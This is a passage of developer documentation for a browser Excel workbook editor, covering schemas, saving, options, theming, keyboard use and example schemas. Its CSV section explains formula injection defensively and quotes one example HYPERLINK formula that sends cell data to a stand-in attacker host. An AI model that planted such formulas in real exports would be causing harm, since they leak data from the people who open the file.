tables, fields, their types and checks, and the workbook’s settings, with the workbook beside it. - **Export it as JSON**, or import one. People who know the workbooks best can describe them, and you keep the result with your app. Turn the button off with `features: { schemas: false }` where people only fill workbooks in. ## To and from JSON ```ts import { schemaFromJSON, schemaToJSON } from '@ruled/sheet'; const json = schemaToJSON(priceList); // a string const schema = schemaFromJSON(json); // a WorkbookSchema again ``` Regular expressions in labels are written as `{ "pattern": "…", "flags": "i" }`, and date bounds as ISO dates. ## Hooks stay in code JSON can’t hold functions, so a schema’s hooks (its `validate`, `rules`, `onChange` and `beforeSave`) live in your app. Add them to a schema loaded from JSON before registering it: ```ts const priceList = schemaFromJSON(await fetch('/schemas/price-list.json').then((r) => r.text())); priceList.onChange = fillFromCatalogue; priceList.sheets[0].tables![0].fields.find((f) => f.key === 'sku')!.validate = checkSku; editor.registerSchema(priceList); ``` When someone edits a schema you registered in the designer, the hooks stay with it: they’re matched to the edited schema by the workbook’s sheet names, and the tables’, fields’ and cells’ keys. --- # Opening and saving Source: https://ruled.page/guides/opening-and-saving/ ## Opening a workbook Hand the editor the file’s bytes and its name: ```ts const response = await fetch('/api/files/42'); const opened = await editor.open(await response.arrayBuffer(), 'price-list.xlsx'); ``` `open` resolves `true` once the workbook is open, and `false` if the user chose to keep the workbook already open, with its unsaved changes. It rejects, saying why, when the file can’t be opened, and the editor shows the reason too. The editor copies the bytes, so yours stay usable. The element can fetch the file itself: ``. `.xlsx` and `.xlsm` open as workbooks, and `.csv`, `.tsv` and `.txt` as a workbook of one sheet. People can also open files themselves, with the Open button or by dropping one on the editor, unless you set `features: { open: false }`. ## Receiving the saved workbook Without `onSave`, saving downloads the file. With it, the editor hands the workbook to you: ```ts createWorkbookEditor({ saveLabel: 'Submit', onSave: async (saved) => { await api.upload(saved.fileName, saved.bytes); await api.storeLines(saved.values?.Prices.tables.prices ?? []); }, }); ``` Throwing from `onSave` shows the error and keeps the changes, so people can try again. While the promise is pending, the editor shows the save as under way. What you receive: |Property|What it is| |-|-| |`bytes`|The `.xlsx` file.| |`fileName`|Its name.| |`values`|With a schema, the values in its shape: for each sheet, each table’s records keyed by field, and each single cell. Dates are ISO text.| |`schema`|With a schema, its `id`, `name` and `version`, and how many `errors` and `warnings` remained.| |`editedCount`, `changes`|How many cells changed, and each one, with its value when opened and now.| |`history`|What was done, by whom and when.| |`outOfDate`|Formulas whose saved values may be stale: ones the editor can’t calculate whose inputs changed. Excel recalculates them on opening.| |`cell(sheet, ref)`, `range(sheet, ref?)`|Any cell’s or range’s values, as JSON.| ## What saving does first 1. **Waits for checks still running**, including async ones. 2. **Refuses to save while errors remain**, or asks first under `saveWithErrors: 'confirm'`. 3. **Runs `beforeSave`**, which can stop it with a message. 4. **Shows every changed cell** for confirmation, if the schema’s `numbers.reviewBeforeSave` is on. 5. **Writes the file** and hands it to `onSave`, or downloads it. `save()` on the handle runs the same steps and resolves with what happened: `'saved'`, `'downloaded'`, `'cancelled'`, `'blocked'` or `'failed'`. ## Someone else saved first When the stored file changed since it was opened, throw `SaveConflictError` from `onSave`. The editor keeps the user’s changes and offers to download them as a copy, explaining why in its language: ```ts import { SaveConflictError } from '@ruled/sheet'; onSave: async (saved) => { const response = await api.put(id, saved.bytes, { ifMatch: etag }); if (response.status === 412) throw new SaveConflictError(); }, ``` ## What’s kept in the file The editor writes back only what changed. Everything it doesn’t show (pictures, slicers, macros, styles it doesn’t use, and parts it doesn’t understand) is kept as it was, and a workbook nobody changed is saved byte for byte. See [Excel fidelity](https://ruled.page/guides/excel-fidelity.md). ## Without saving - `getWorkbook()` gives you the workbook as a save would, without its checks: for autosave, or to read values as people work. - `downloadCopy()` downloads it, as an export, without saving it to your app. With `onSave`, the toolbar has a download button for this too, unless `features.download` is off. - `getCsv()` and `downloadCsv()` give the sheet shown as CSV. Values that would run as formulas in another spreadsheet are escaped unless `escapeFormulas` is `false`. ## Drafts Unsaved edits are kept in the browser, and offered back when the same file is opened again, so a closed tab or a crash doesn’t lose work. Turn it off with `drafts: false`. `warnOnUnload` (on by default) asks before people leave the page with unsaved changes. --- # Options and features Source: https://ruled.page/guides/options-and-features/ The same options go to `useWorkbookEditor`, `createWorkbookEditor`, `mountWorkbookEditor` and the element’s `options` property. All are optional. The [API reference](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md) has each one’s type. ## Workbooks and saving |Option|What it does| |-|-| |`schemas`|[Schemas](https://ruled.page/schemas/overview.md) to try, in order, against each workbook opened.| |`onSave`|Receives the workbook when people save. Without it, saving downloads the file.| |`saveLabel`|The Save button’s label, such as “Submit price list”, in one language or several.| |`drafts`|Keep unsaved edits in the browser and offer them back. Default `true`.| |`warnOnUnload`|Ask before leaving the page with unsaved changes. Default `true`.| |`numbers`|How numbers are shown, copied and pasted, for every workbook; a schema can override it.| |`csvExport`|The delimiter for CSV downloads, and whether formulas are escaped.| |`limits`|Size and complexity limits for files people open.| |`macros`|Files with macros: `'keep'` them (the default), `'remove'` them when saving, or `'block'` such files.| |`activeContent`|ActiveX controls and embedded objects: `'keep'` (the default) or `'block'`.| |`recalc`|Live recalculation: `'auto'` (the default) turns it off for workbooks too large to recalculate quickly, where people can turn it on; `'on'` and `'off'` force it.| ## People and language |Option|What it does| |-|-| |`user`|The name recorded against each change in the history, and the author of new notes and comments.| |`language`|The language of the editor’s own text, such as `'de'`. Defaults to the locale.| |`locale`|How dates and numbers are read and shown. Defaults to the browser’s.| |`translations`|More languages, or messages worded your way. See [Languages](https://ruled.page/guides/languages.md).| |`customLists`|Lists that dragging the fill handle continues, such as `[['North', 'East', 'South', 'West']]`.| ## Look |Option|What it does| |-|-| |`theme`|Theme tokens: colours, fonts, sizes, corners and shadows. See [Theming](https://ruled.page/guides/theming.md).| |`icons`|Replacement icons by name: SVG path data on a 24×24 grid, or, in React, an element.| |`features`|Parts of the interface to show (below).| ## Links |Option|What it does| |-|-| |`links`|`'follow'` (the default): Ctrl+click (⌘-click on a Mac) follows a hyperlink, asking first the first time for each address. `'off'`: links show and can be edited, but are never followed.| |`onLinkClick`|Called instead when people follow a link to a web page or an email. Return `true` to have the editor open it after all.| ## Running it |Option|What it does| |-|-| |`createWorker`|Creates the worker that holds the workbook, for bundlers that don’t bundle it.| |`workerTimeout`|How long the worker may spend on one task before it’s taken to have stopped. Default 120,000 ms.| |`onError`|Called when the editor stops working: its worker couldn’t load, crashed or stopped answering. The editor shows what happened and offers to reopen the file.| |`onEvent`|Hears what the editor does and how long it took, for your logging. See [Events and the handle](https://ruled.page/guides/events-and-handle.md).| |`diagnostics`|Shows in the status bar how long opening, calculating and the last edit took.| ## Features `features` turns parts of the interface off; each is on unless set to `false`. |Feature|What it is| |-|-| |`open`|The Open button, the file picker and dropping files. Turn it off when your app chooses the file.| |`save`|The Save button and Ctrl+S (⌘S).| |`download`|With `onSave`, a separate button to download a copy.| |`schemas`|The schema designer’s button.| |`report`|“What’s in this file”: what the workbook holds that the editor keeps but doesn’t show, and how its formulas are calculated. Useful to people who know Excel; turn it off for people who only fill in a template.| |`charts`|Charts drawn from the workbook’s values. Off, they show as placeholders with their titles; the chart library loads only when a workbook has a chart.| |`format`|The format bar: fonts, colours, borders, alignment and number formats. Turn it off where people only fill in values.| |`csv`|Opening CSV files, and a button to download the sheet as CSV.| |`autoComplete`|Finishing text as it’s typed from the entries above and below, as Excel’s AutoComplete does.| A supplier filling in a template might get: ```ts createWorkbookEditor({ schemas: [priceList], features: { open: false, schemas: false, report: false, format: false }, saveLabel: 'Submit price list', user: supplier.name, }); ``` --- # Theming Source: https://ruled.page/guides/theming/ The editor’s look comes from design tokens: colours, fonts, type sizes, corners and shadows, down to the grid’s lines and headers. Set them in the `theme` option, or in CSS. *Live editor: the theming example. The same workbook in a few themes. These docs use their own, “Ledger”, which follows the page between light and dark.* ## In the options ```ts createWorkbookEditor({ theme: { accent: '#4f46e5', accentStrong: '#4338ca', accentSoft: '#eef2ff', font: "'Inter', system-ui, sans-serif", radius: '8px', gridHeaderBg: '#f8fafc', }, }); ``` Change it while a workbook is open with `editor.setTheme(theme)`, for example when your app switches to dark mode. ## In CSS Each token is a custom property on the editor’s root element: `gridHeaderBg` is `--wbe-grid-header-bg`. ```css .wbe { --wbe-accent: #4f46e5; --wbe-font: 'Inter', system-ui, sans-serif; } ``` `themeProperty('gridHeaderBg')` gives a token’s property name, and `ThemeToken` lists them all. ## The tokens |Group|Tokens| |-|-| |Brand|`accent`, `accentStrong`, `accentSoft`, `accentBorder`, `accentTint`, `onAccent`, `focusRing`| |Surfaces|`surface`, `surfaceAlt`, `surfaceSunken`, `backdrop`, `border`, `borderStrong`| |Text|`text`, `textMuted`, `textSubtle`, `font`, `fontMono`, `fontSize`, `fontSizeXs` to `fontSizeXl`| |States|`success…`, `warning…`, `danger…`, `info…` with their soft, border and text variants| |The grid|`gridBg`, `gridText`, `gridLine`, `gridHeaderBg`, `gridHeaderText`, `gridSelection`, `gridSelectionFill`, `gridFreezeLine` and more| |Formulas|`formulaRef1` to `formulaRef7`: the colours of references while a formula is edited| |Charts|`chartColors`: the series colours for charts that don’t set their own| |Shape|`radius`, `radiusSm`, `radiusLg`, `shadow`, `shadowSm`, `iconStrokeWidth`, `colorScheme`| The [API reference](https://ruled.page/reference/api/ruled/sheet/type-aliases/themetoken.md) lists every one. ## Dark mode Set `colorScheme: 'dark'` with dark surfaces, text and grid colours. The grid is drawn on a canvas, and reads the tokens each time it draws, so a theme change shows at once. ## Icons Replace any of the editor’s icons with the `icons` option: SVG path data on a 24×24 grid, or, in React, an element. ```ts createWorkbookEditor({ icons: { download: 'M12 3v12 M7 10l5 5 5-5 M5 21h14' } }); ``` --- # Languages Source: https://ruled.page/guides/languages/ The editor’s own text comes in English and German. Dates and numbers are read and shown in the user’s locale, separately from the language of the interface. ```ts createWorkbookEditor({ language: 'de', // the editor's text locale: 'de-CH', // dates and numbers: 1'234.50, 31.01.2026 }); ``` Both default to the browser’s. Change the language while a workbook is open with `editor.setLanguage('de')`. ## Adding a language `translations` takes message catalogues by language, keyed as in the English one. Start from `en`, which has every message: ```ts import { en } from '@ruled/sheet'; const fr = { ...en, 'toolbar.save': 'Enregistrer', /* … */ }; createWorkbookEditor({ language: 'fr', translations: { fr } }); ``` Messages are i18next JSON, with `{{placeholders}}` and plurals (`_one`, `_other`). ## Rewording a message The same option rewords a few messages in a built-in language: ```ts translations: { en: { 'toolbar.save': 'Submit' } }, ``` For the Save button alone, `saveLabel` is simpler. ## Your own text Text your app gives the editor (a schema’s names, descriptions and messages, `saveLabel`) can be one string or one per language. The editor shows the one that fits its language best, falling back from `de-CH` to `de` and then to English: ```ts saveLabel: { en: 'Submit price list', de: 'Preisliste einreichen' }, ``` --- # Events and the handle Source: https://ruled.page/guides/events-and-handle/ Every way of showing the editor gives you the same handle: `createWorkbookEditor()` returns it, `mountWorkbookEditor()` returns it, and the `` element is one. ## Methods |Method|What it does| |-|-| |`open(bytes, fileName)`|Opens a workbook or CSV file. Resolves `true` once open, `false` if the user kept the one already open.| |`save()`|Runs the Save button’s steps, resolving `'saved'`, `'downloaded'`, `'cancelled'`, `'blocked'` or `'failed'`.| |`getWorkbook()`|The workbook as a save would hand it over, without the save’s checks.| |`downloadCopy()`|Downloads the workbook as `.xlsx` without saving it to your app.| |`getCsv(options?)`, `downloadCsv(options?)`|The sheet shown, as CSV.| |`goTo(ref)`|Selects and shows a cell, a range or a name: `'B4'`, `'Prices!A1:C3'`.| |`registerSchema(schema)`, `removeSchema(id)`|Add or remove a schema while the editor is open.| |`setTheme(theme)`, `setLanguage(language)`, `setUser(user)`, `setCustomLists(lists)`|Change these without closing the workbook.| |`subscribe(listener)`|Calls `listener` when the properties below change. Returns a function that stops it.| |`destroy()`|Stops the editor and its worker.| ## Properties |Property|What it is| |-|-| |`status`|`'empty'` before a workbook is open, `'loading'` while one opens, `'ready'`, or `'error'` when it stopped working.| |`fileName`|The open workbook’s name.| |`editedCount`|How many cells differ from the file as opened.| |`unsaved`|Whether there are edits your app hasn’t received through a save.| ## Following the editor `onEvent` hears what the editor does, with timings, for your logs or analytics. Its messages are in English whatever the editor’s language, so logs read the same: ```ts createWorkbookEditor({ onEvent: (event) => { if (event.type === 'opened') metrics.timing('editor.open', event.ms, { sheets: event.sheets }); if (event.type === 'saved') metrics.count('editor.save', { result: event.result, cells: event.editedCount }); if (event.type === 'openFailed') log.warn('Could not open', event.fileName, event.reason); }, }); ``` |Event|When| |-|-| |`opened`|A workbook opened: its name, how long it took and how many sheets it has.| |`openFailed`|A workbook couldn’t be opened, and why.| |`calculated`|The formulas are ready: how long that took and how many are kept up to date.| |`saved`|A save finished: what happened, how long it took, and how many cells had changed.| |`error`|An error the editor showed the user.| ## When the editor stops The workbook lives in a worker. If the worker can’t load, crashes, runs out of memory or stops answering, the editor says so and offers to reopen the file (bringing back unsaved edits when drafts are on), and calls `onError` so your app can report it. ## The element’s events The `` element also fires DOM events: `ready`, `opened`, `change`, `save` and `editorerror`. See [Web component and plain HTML](https://ruled.page/start/web-component.md#events). --- # Excel fidelity Source: https://ruled.page/guides/excel-fidelity/ Ruled opens the workbooks people already have and gives them back as Excel files. What it can show, it shows and lets people change; what it can’t, it keeps, and writes back as it was. ## Worked out live - **Formulas**, by the editor’s own calculation engine, as cells change: Excel’s function library, dynamic arrays and their spills, `LET`, `LAMBDA` with `MAP`, `REDUCE`, `SCAN` and the rest, names, tables’ structured references, 3-D references, and iterative calculation where a workbook asks for it. On opening, its results are compared with the values Excel saved, and a formula that disagrees is reported. - **Charts**, drawn from the current cells: column, bar, line, area, pie, doughnut, scatter, radar, bubble and stock charts, and 3-D charts drawn flat. People insert, move, resize, restyle and delete them as in Excel. - **Pivot tables**, worked out again as their source changes, with Excel’s PivotTable Fields pane, filters, subtotals, grand totals, compact, outline and tabular forms, and Show Values As. People insert their own. - **Conditional formatting**: cell rules, top and bottom, averages, duplicates, colour scales, data bars and icon sets. ## Shown and edited - Number formats, fonts, fills, borders, alignment, wrapping and indents; merged cells; column widths and row heights. - Hidden, grouped and frozen rows and columns, with outlines. - Sorting, filters (by value and by condition), data validation, names, hyperlinks, notes and threaded comments. - Excel 365’s checkboxes. - Tables, with their styles and structured references. - Sheets: added, renamed, moved, hidden and deleted, with references following them. ## Kept as it was Macros (or removed, if you set `macros: 'remove'`), pictures and shapes, slicers and timelines, external links, embedded objects, custom XML and anything else in the file the editor doesn’t draw. The editor’s “What’s in this file” report lists what a workbook holds that it keeps without showing. ## The saved file The editor writes back only what changed: the cells and parts edits touched. Everything else is carried over from the original file, and a workbook nobody changed is saved byte for byte. Saved files are checked against Microsoft’s Open XML SDK validator in the editor’s own test suite. Excel recalculates a saved workbook when it opens it. Formulas the editor can’t calculate keep Excel’s last result until then, and a save lists them as `outOfDate` so your app doesn’t rely on them. ## Known limits - Text in one cell with several fonts is drawn in one font; the file keeps them all. - Charts don’t draw data labels, trendlines, error bars, or gradient and picture fills. Excel’s newer chart kinds (waterfall, treemap, histogram, funnel) and surface charts show as placeholders, and are kept. - The Bessel functions match Excel to about eight significant digits. - Pivot tables with grouped or calculated fields are shown as Excel saved them, and refreshed by Excel when it opens the file. --- # Keyboard and accessibility Source: https://ruled.page/guides/keyboard-and-accessibility/ Everything works without a mouse, with Excel’s keys. In the editor, Ctrl+/ (⌘/ on a Mac) lists every shortcut. ## Moving around the editor Tab stays in the grid, as it does in Excel, so **F6** (Ctrl+F6 where the browser keeps F6) moves between the toolbar, format bar, formula bar, sheet, side panel and sheet tabs. Typing a cell such as `B4`, or a name, in the name box goes there, and Alt+Down lists the workbook’s names. The sheet tabs are one stop: the arrow keys, Home and End move between them, Enter shows a sheet, Alt+Shift+Left and Right move it, F2 renames it, and Shift+F10 opens its menu. Dialogs keep the focus inside, close with Escape, and hand the focus back. ## Shortcuts ### Moving around |Windows and Linux|Mac|What they do| |-|-|-| |`Arrow keys`|`Arrow keys`|Move between cells| |`Tab, Shift+Tab`|`Tab, Shift+Tab`|Move right, left| |`Shift+Arrow keys`|`Shift+Arrow keys`|Select more cells| |`F6 or Ctrl+F6, with Shift to go back`|`F6 or Ctrl+F6, with Shift to go back`|Move to the next or previous part of the editor: toolbar, formula bar (type a cell such as B4 in its box to go there), sheet, side panel, sheet tabs| ### Editing |Windows and Linux|Mac|What they do| |-|-|-| |`Typing`|`Typing`|Replaces the cell's contents| |`Enter`|`Enter`|Edit the cell, or finish editing and move down| |`Escape`|`Escape`|Cancel editing| |`Delete, Backspace`|`Delete, Backspace`|Clear the selected cells| |`Ctrl+Z, Ctrl+Y`|`⌘Z, ⇧⌘Z`|Undo, redo| |`Ctrl+X, Ctrl+C, Ctrl+V`|`⌘X, ⌘C, ⌘V`|Cut, copy, paste| |`Tab or Enter`|`Tab or Enter`|In a formula, insert the function highlighted in the list of names that match what you typed (arrow keys move through it, Escape closes it)| |`F4`|`F4`|In a formula, switch the reference at the cursor between relative and absolute: A1, $A$1, A$1, $A1| |`Ctrl++, Ctrl+-`|`⌘+, ⌘-`|Insert or delete cells, rows or columns| |`Ctrl+Shift+L`|`⇧⌘F`|Add or remove filter buttons| |`Alt+Down arrow`|`⌥↓`|Open a heading's filter menu| |`Alt+F1`|`⌥F1`|Insert a column chart of the data| |`Ctrl+Alt+5`|`⌃⌥5`|Select the charts, pictures and shapes; Tab goes through them| |`Alt+F5`|`⌥F5`|Refresh the sheet's pivot tables| |`Ctrl+Alt+F5`|`⌃⌥F5`|Refresh every pivot table| ### Commands |Windows and Linux|Mac|What they do| |-|-|-| |`Shift+F10, Menu key`|`Shift+F10, Menu key`|Cell menu: fill down and right, notes and comments, insert and delete rows and columns, column width, sort, filter| |`Shift+F2`|`Shift+F2`|Add or edit the cell's note, or read and reply to its comments| |`Ctrl+Enter`|`⌘Enter`|Follow the cell's link| |`Alt+Shift+Right`|`⌥⇧→`|Group the selected rows or columns| |`Alt+Shift+Left`|`⌥⇧←`|Ungroup the selected rows or columns| |`Ctrl+F`|`⌘F`|Find and replace| |`Ctrl+G`|`⌘G`|Next match while finding (with Shift, the previous one)| |`Ctrl+S`|`⌘S`|Save| |`Ctrl+/`|`⌘/, ⌃/`|This list| ### Sheet tabs |Windows and Linux|Mac|What they do| |-|-|-| |`Shift+F10, Menu key`|`Shift+F10, Menu key`|Sheet menu: insert, rename, delete, move, hide and unhide sheets| |`Alt+Shift+Left, Alt+Shift+Right`|`⌥⇧←, ⌥⇧→`|Move the sheet whose tab has the focus left or right| |`F2`|`F2`|Rename the sheet whose tab has the focus| ## Browser shortcuts The editor takes a browser shortcut only for the same job: Ctrl+S saves, Ctrl+F finds, Ctrl+Z undoes. It never repurposes one, so Ctrl+R still reloads the page and Ctrl+D still bookmarks it; Excel’s fill down and fill right are in the cell menu instead. On a Mac, ⌘Y is left to the browser’s history, and redo is ⇧⌘Z. ## Screen readers Screen readers hear each cell by its reference and as it’s shown, then what the grid only marks in colour: a merge, a formula and whether its value is out of date, the formula a spilled value comes from, a change, a list, a note or comments, where a link goes, and any schema problem. For example: “D3, twelve, changed, error: Expected a number.” Rows and columns are numbered as the sheet numbers them, past hidden ones and below frozen ones. What an action did is said too: undoing and redoing, inserting and deleting, how many rows a filter hides, opening a file, and what’s wrong with a value just typed. Errors are said at once; other messages as they arrive. ## Contrast, colours and motion The default theme meets WCAG 2.2 AA contrast. Focus stays visible in Windows’ forced colours, and the busy spinner slows for people who ask for less motion. Themes you write are yours to check; the [theme tokens](https://ruled.page/guides/theming.md) cover every colour the editor uses. ## Touch On a phone, the editor keeps the grid in view: the toolbar’s actions scroll sideways in one row, the side panel opens over the sheet when asked for, a cell’s note or problem appears under the formula bar since nothing hovers on touch, and the ⋯ button there opens the cell menu. A tap selects a cell and a second tap edits it. --- # CSV files Source: https://ruled.page/guides/csv-files/ `.csv`, `.tsv` and `.txt` files open as a workbook of one sheet, named after the file, read the way Excel reads them in the user’s locale. Saving writes `.xlsx` (`prices.csv` saves as `prices.xlsx`), and schemas and checks work as for any workbook. ## Opening - **Encoding**: from a byte order mark (UTF-8, or UTF-16 either way round); without one, UTF-8 if the file is valid UTF-8, and Windows-1252 otherwise. - **Delimiter**: the one a `sep=;` first line names; a tab for `.tsv`; otherwise whichever of tab, semicolon and comma splits the first hundred records most consistently, the locale’s list separator winning a tie. - **Fields** follow RFC 4180: quoted fields can hold delimiters, doubled quotes and line breaks. - **Values** are read as if typed: numbers, percentages, currencies, dates, times, TRUE and FALSE, with the number format they imply. As in Excel, `007` becomes 7 and digits past the fifteenth are lost. - **Nothing becomes a formula.** A field starting with `=` stays text, as do fields starting with `+`, `-` or `@` that aren’t numbers. A CSV file is data from elsewhere, and cells that run when it’s opened are a known way to attack people. `features: { csv: false }` stops the Open button and dropping from taking CSV files; `open()` still does. ## Writing The toolbar’s CSV button, `downloadCsv()` and `getCsv()` write the sheet shown, as Excel’s “CSV UTF-8” does: each cell as its number format shows it, formulas as their results, from A1 to the last cell with a value, quoted where needed, with CRLF line ends. The download has a UTF-8 byte order mark; `getCsv` returns the text without one. The delimiter is the locale’s list separator, as Excel’s is: a comma, or a semicolon where decimals are written with a comma. Set `delimiter` (`','`, `';'` or `'\t'`) per call, or for the button with the `csvExport` option. Downloading CSV is an export, not a save. ## Formulas in CSV files A CSV file holds no formulas, but spreadsheet apps run any value that looks like one when they open the file. If a sheet’s text came from someone else, a CSV made from it could carry `=HYPERLINK("https://attacker.example/?"&A1, "Details")`, which sends other cells to that site when clicked. So the CSV the editor writes puts an apostrophe before every value that starts with `=`, `+`, `-`, `@`, a tab or a carriage return (or their full-width forms), as OWASP recommends. Numbers such as `-5` hold nothing to run and are left alone. A host handing the CSV to another program rather than to people can turn this off with `escapeFormulas: false`. --- # Price list: async checks and lookups Source: https://ruled.page/examples/price-list/ One product per row. Each SKU is checked against a catalogue service as it’s typed, and a new SKU fills in its description and category from it. Prices can’t be formulas; the price with tax must be. *Live editor: the price-list example. Try: type SKU-1013 under the last SKU (discontinued, after a pause); SKU-2003 (fills itself in); a price of -1 or =B2\*2; a category that isn’t in the list; the same SKU twice.* ## The schema ```ts import { defineSchema } from '@ruled/sheet'; import { lookupSku } from './services'; export const priceList = defineSchema({ id: 'docs.price-list', name: 'Price list', sheets: [ { name: 'Prices', tables: [ { key: 'prices', at: 'A1', records: { min: 1, max: 500 }, fields: [ { key: 'sku', label: 'SKU', type: 'text', required: true, unique: true, pattern: '^SKU-\\d{4}$', patternHint: 'like SKU-1234', // An async check against the catalogue service. The editor shows the cell // as being checked, aborts the call if the value changes again, and re-runs // it only when this cell's value changes. validate: async (value, { signal }) => { const item = await lookupSku(String(value), signal); if (item?.discontinued) return { message: 'The catalogue lists this product as discontinued.', severity: 'warning' }; }, }, { key: 'description', label: 'Description', type: 'text', required: true }, { key: 'category', label: 'Category', type: 'enum', values: ['Hardware', 'Software', 'Services'], required: true }, { key: 'price', label: 'Unit price', type: 'number', required: true, min: 0, decimals: 2, formula: 'forbid' }, { key: 'priceIncTax', label: 'Price inc. tax', type: 'number', formula: 'require', description: 'Unit price plus 20% tax.' }, { key: 'from', label: 'Effective from', type: 'date', required: true, min: '2020-01-01' }, { key: 'active', label: 'Active', type: 'boolean' }, ], }, ], }, ], // Business logic after each edit: a new SKU fills in its description and category. onChange: async (ctx) => { for (const change of ctx.changes) { if (change.field !== 'sku' || typeof change.after !== 'string' || change.record === undefined) continue; const record = ctx.sheet(change.sheet)?.table('prices')?.records[change.record]; if (!record || record.values.description) continue; const item = await lookupSku(change.after, ctx.signal); if (!item) continue; const at = { sheet: change.sheet, table: 'prices', record: change.record }; ctx.set({ ...at, field: 'description' }, item.description); ctx.set({ ...at, field: 'category' }, item.category); } }, }); ``` ## The pretend services The catalogue answers after half a second, and stops when the editor aborts the check because the value changed again, as a `fetch` given the same signal would. ```ts /** * Pretend services for the examples: a product catalogue and a budget * service, each answering after a delay, as a real API would. They stop * early when the editor aborts a check because the value changed again. */ export function wait(ms: number, signal?: AbortSignal): Promise { return new Promise((resolve, reject) => { const timer = setTimeout(resolve, ms); signal?.addEventListener('abort', () => { clearTimeout(timer); reject(new DOMException('Aborted', 'AbortError')); }); }); } const CATALOGUE: Record = { 'SKU-1013': { description: 'Legacy adaptor', category: 'Hardware', discontinued: true }, 'SKU-2001': { description: 'Barcode scanner', category: 'Hardware' }, 'SKU-2002': { description: 'Label printer', category: 'Hardware' }, 'SKU-2003': { description: 'Analytics add-on', category: 'Software' }, 'SKU-2004': { description: 'On-site audit', category: 'Services' }, }; /** Looks a product up in the catalogue. */ export async function lookupSku(sku: string, signal?: AbortSignal) { await wait(500, signal); return CATALOGUE[sku.toUpperCase()]; } /** Asks the budget service whether a total needs review. */ export async function needsReview(total: number, signal?: AbortSignal): Promise { await wait(800, signal); return total > 400_000; } ``` ## What to notice - The SKU field has declarative checks (`required`, `unique`, `pattern`) and a code check beside them. The code check runs for every SKU typed, and never for an empty cell, which `required` covers. - `onChange` writes with `ctx.set`, and its writes are part of the same undo step as the SKU that caused them. - `formula: 'forbid'` on the price and `'require'` on the price with tax keep calculated columns calculated. Read more: [Async checks](https://ruled.page/schemas/async-hooks.md), [Business logic](https://ruled.page/schemas/business-logic.md). --- # Budget: a fixed grid Source: https://ruled.page/examples/budget/ The categories down the side and the months across are fixed: only the amounts can change, and the total is a formula nobody can overwrite. Travel is capped each month, and the whole budget is checked against a pretend budget service. *Live editor: the budget example. Try: rename a category; put 6,000 in a Travel month; type a formula into an amount; clear “Approved by” and save.* ```ts import { defineSchema } from '@ruled/sheet'; import { needsReview } from './services'; const MONTHS = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']; export const budget = defineSchema({ id: 'docs.budget', name: 'Half-year budget', // Errors ask before saving rather than stopping it. saveWithErrors: 'confirm', sheets: [ { name: 'Budget', tables: [ { key: 'budget', at: 'A1', corner: 'Category', // Fixed records: the categories can't be added to, removed or renamed. records: { labels: ['Salaries', 'Rent', 'Marketing', 'Travel', 'Equipment'] }, fields: MONTHS.map((m) => ({ key: m.toLowerCase(), label: m, type: 'number' as const, required: true, min: 0, decimals: 2, formula: 'forbid' as const })), // A table rule in code: travel is capped each month. rules: [ (table) => table.records .filter((r) => r.label === 'Travel') .flatMap((r) => MONTHS.filter((m) => Number(r.values[m.toLowerCase()]) > 5000).map((m) => ({ record: r.index, field: m.toLowerCase(), severity: 'warning' as const, message: 'Travel is over the monthly cap of 5,000.', })), ), ], }, ], cells: [ { key: 'approvedBy', ref: 'B8', label: { ref: 'A8', text: 'Approved by' }, type: 'text', required: true, description: 'Who signed off this budget.' }, { key: 'total', ref: 'B9', label: { ref: 'A9', text: 'Total' }, type: 'number', formula: 'require', readOnly: true }, ], }, ], // A workbook-wide async check against the budget service. validate: async ({ sheet, signal }) => { const total = sheet('Budget')?.cell('total'); if (typeof total === 'number' && (await needsReview(total, signal))) { return [{ ref: 'Budget!B9', severity: 'warning', message: `Totals over 400,000 need review (this is ${total.toLocaleString('en')}).` }]; } }, }); ``` ## What to notice - `records.labels` fixes the records: none can be added or removed, and the labels can’t be changed. - The Travel cap is a table rule in code; it pins each issue to its record and month, so the right cells are marked. - The total is a single cell with `formula: 'require'` and `readOnly: true`. - The workbook’s `validate` is async. It runs after edits, and its result is replaced as soon as the workbook changes again. - `saveWithErrors: 'confirm'` lets people save with errors after confirming. --- # Forecast: records across columns Source: https://ruled.page/examples/forecast/ Each quarter is a column: the fields run down the rows. Typing a period in the empty column after the last quarter adds one. *Live editor: the forecast example. Try: add 2027-Q3 after the last quarter; skip a quarter; type Q1 2027 as a period; overwrite a margin formula.* ```ts import { defineSchema } from '@ruled/sheet'; const QUARTER = /^(\d{4})-Q([1-4])$/; export const forecast = defineSchema({ id: 'docs.forecast', name: 'Quarterly forecast', sheets: [ { name: 'Forecast', tables: [ { key: 'quarters', at: 'A1', // One record per column: each quarter runs down its own column. orientation: 'columns', records: { min: 1, max: 12 }, fields: [ { key: 'period', label: 'Period', type: 'text', required: true, unique: true, pattern: QUARTER.source, patternHint: 'a quarter like 2027-Q1' }, { key: 'revenue', label: 'Revenue', type: 'number', required: true, min: 0, decimals: 2 }, { key: 'cost', label: 'Cost', type: 'number', required: true, min: 0, decimals: 2 }, { key: 'margin', label: 'Margin', type: 'number', formula: 'require' }, { key: 'marginPct', label: 'Margin %', type: 'percent', formula: 'require', min: 0 }, ], rules: [ // Quarters must follow on from each other. (table) => { const issues = []; let previous: number | undefined; for (const r of table.records) { const m = QUARTER.exec(String(r.values.period ?? '')); if (!m) continue; const q = Number(m[1]) * 4 + Number(m[2]); if (previous !== undefined && q !== previous + 1) { issues.push({ record: r.index, field: 'period', message: 'A quarter is missing before this one.' }); } previous = q; } return issues; }, ], }, ], }, ], }); ``` ## What to notice - `orientation: 'columns'` turns the table on its side: records across, fields down. - The quarters-follow-on rule is a table rule in code, returning an issue for each period out of sequence. --- # Saving to your app Source: https://ruled.page/examples/saving/ When people save, your `onSave` receives the file, and with a schema, the values in its shape. Change a few cells and press **Save to the app**: what the app would receive appears below the editor. The workbook has errors on purpose, and this example’s schema has `saveWithErrors: 'confirm'`, so saving asks first. *Live editor: the saving example.* ```ts createWorkbookEditor({ schemas: [forecast], saveLabel: 'Save to the app', features: { open: false }, onSave: async (saved) => { await api.upload(saved.fileName, saved.bytes); await api.storeQuarters(saved.values?.Forecast.tables.quarters ?? []); }, }); ``` `values` has, for each sheet the schema describes, its tables’ records keyed by field, and its single cells. `changes` has each changed cell with its value before and after. See [Opening and saving](https://ruled.page/guides/opening-and-saving.md) for everything a save hands over. --- # Formulas, charts and pivot tables Source: https://ruled.page/examples/workbooks/ Without a schema, the editor is a spreadsheet. Switch between the sample workbooks below. *Live editor: the workbooks example. Try: change a number and watch the formulas and charts that use it; right-click a 